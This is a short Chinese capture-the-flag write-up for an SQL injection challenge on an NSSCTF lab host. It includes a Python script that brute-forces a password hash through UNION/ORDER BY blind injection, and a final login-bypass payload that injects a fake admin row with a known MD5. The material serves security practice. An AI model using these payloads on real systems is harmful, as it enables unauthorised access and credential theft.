页面源码中给了sql查询语句的base64加密
select * from user where username = '$name'
fuzz测试过滤 ()被过滤了,很多函数无法使用
union select ? from user语句尝试猜测列名,得到:
id username passwd
参考博客
进行了passwd里面内容的爆破

import requests
url='http://node4.anna.nssctf.cn:28515/search.php'
flag=''
for j in range(1,50):
    for i in range(0,127):
        
        hexchar=flag+chr(i)
        payload="admin' UNION SELECT 1,2,'%s' ORDER BY PASSWD DESC#"%hexchar
        #print(hexchar)
        #py=payload.format(hexchar)
        datas={'name':payload,'pw':'1'}
        re=requests.post(url=url,data=datas)
        if 'user' in re.text:
            flag+=chr(i-1)
            print(flag)
            break

得到:CDC9C819C7F8BE2628D4180669009D27
长度刚好是32,应该md5加密之后的,但解不出来,无法得到实际的密码。
看了WP才知道是用联合查询时的虚拟用户进行登录
name=1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1//c4ca4238a0b923820dcc509a6f75849b为1进行md5加密后的值